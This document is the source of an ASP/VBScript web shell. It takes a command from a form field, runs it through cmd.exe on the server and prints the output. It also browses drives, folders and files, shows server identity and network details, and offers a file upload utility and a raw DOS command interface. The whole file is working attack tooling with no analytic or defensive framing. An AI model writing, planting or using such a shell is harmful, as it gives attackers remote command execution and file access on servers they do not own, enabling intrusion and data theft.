%@ Language=VBScript %> <%Dim oScript Dim oScriptNet Dim oFileSys, oFile Dim szCMD, szTempFile On Error Resume Next Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") szCMD = Request.Form(".CMD") If (szCMD <> "") Then szTempFile = "C:\" & oFileSys.GetTempName( ) Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) End If%> <% if request.form("flag")=""then %>
" & FP) %> |
<% =ShowDriveLetters() %> | |||
<% =ShowFolderNames() %> | <% =ShowFileNames() %> |
• Remote Info. | • Local Info. |
User: <%= "\\" & oScriptNet.ComputerName & " \ " & oScriptNet.UserName %>
ID: <%=request.servervariables("SERVER_NAME")%> IP: <%=request.servervariables("LOCAL_ADDR")%> HTTPD: <%=request.servervariables("SERVER_SOFTWARE")%> Port: <%=request.servervariables("SERVER_PORT")%> Webroot: <%=request.servervariables("APPL_PHYSICAL_PATH")%> LogRoot: <%=request.servervariables("APPL_MD_PATH")%> Date: <% =date() %> Time: <%=time() %> HTTPs: <%=request.servervariables("HTTPS")%> |
Local Addr (What they see.): <%=request.servervariables("REMOTE_ADDR")%> Forwarded from : <%=request.servervariables("HTTP_X_FORWARDED_FOR")%> Via: <%=request.servervariables("HTTP_VIA")%> User Agent: <%=request.servervariables("HTTP_USER_AGENT")%> Wookie: <%=request.servervariables("HTTP_WOOKIE")%> Cache Control: <%=request.servervariables("HTTP_CACHE_CONTROL")%> Interface: <%=request.servervariables("GATEWAY_INTERFACE")%> Protocol: <%=request.servervariables("SERVER_PROTOCOL")%> Method: <%=request.servervariables("REQUEST_METHOD")%> |
• File Upload Utility |
• RAW D.O.S. COMMAND INTERFACE |
<% If (IsObject(oFile)) Then On Error Resume Next Response.Write Server.HTMLEncode(oFile.ReadAll) oFile.Close Call oFileSys.DeleteFile(szTempFile, True) End If%> |